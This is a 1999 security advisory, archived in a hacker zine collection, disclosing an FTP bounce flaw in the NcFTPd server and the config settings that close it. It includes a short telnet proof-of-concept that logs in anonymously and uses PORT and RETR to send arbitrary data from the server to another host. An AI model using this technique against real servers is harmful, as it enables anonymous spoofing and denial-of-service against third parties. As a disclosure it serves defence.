home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / ncftpd.txt < prev    next >
Text File  |  1999-02-19  |  2KB  |  63 lines

  1.  
  2. Proof of Concept - Security Advisory                        02/16/99
  3. http://poc.csoft.net                                     Released by
  4. poc@csoft.net                                    sw3wn@poc.csoft.net
  5.  
  6. ---
  7.  
  8. Affected Program    NcFTPd <http://www.ncftp.com>
  9. Description        FTP server (commercial)
  10. Severity        Can port anywhere / spoof
  11.  
  12.  
  13. Synopsis:
  14.  
  15. NcFTPd is a commercial FTP (File Transfer Protocol) server, in the
  16. NcFTP product line.  The source code is not publicly released.
  17.  
  18. Overview:
  19.  
  20. To initiate a FTP transfer, there must be two connections, one
  21. control connection (server's ftp port), and one data connection.
  22. When a client wants to tell the server where to send the data (ie.
  23. a file you want to download, or a directory listing), it must use
  24. the command PORT - in which the destination address and port is
  25. specified.
  26.  
  27. Problem:
  28.  
  29. NcFTPd does not check that the destination PORT address is the
  30. user's IP.  This means anybody can transmit data from the server
  31. anywhere, anonymously.  Obviously this can lead to potential
  32. 'easy' DoS attacks and spoofing (say, someone uploads a file
  33. containing commands of something to incoming, PORT to some host/port,
  34. and use RETR (retrieve file)).  Such connections are possible
  35. with the default NcFTPd configuration, but can be disallowed:
  36. general.cf> allow-outgoing-proxy-data-connection-ports-below-1024 - no
  37. general.cf> allow-proxy-connections - no
  38.  
  39. I made an example program that listens on a port and dumps
  40. arbitrary received data in string, hex or ascii/hex format -
  41.  [http://poc.csoft.net/code/listerine/listerine.tar.gz]
  42.  
  43. Example:
  44.  
  45. evil:$ telnet victim ftp        # victim runs NcFTPd
  46. user anonymous                # anonymous is up by default
  47. pass some@thing
  48. port 192,168,0,1,5,131            # connect on port 1411
  49. retr incoming/stuff            # send arbitrary data, as it
  50.                     # was coming from host victim.
  51.  
  52. To see for yourself, you can run my example program `listerine', on
  53. the host victim.  I tested this on my LAN and on remote machines too.
  54.  
  55.  
  56. Status:
  57.  
  58. Got response from authors, the problem can be fixed indeed with
  59. the general.cf options mentionned above, but are not enabled with
  60. default configuration.
  61.  
  62. .sw3
  63.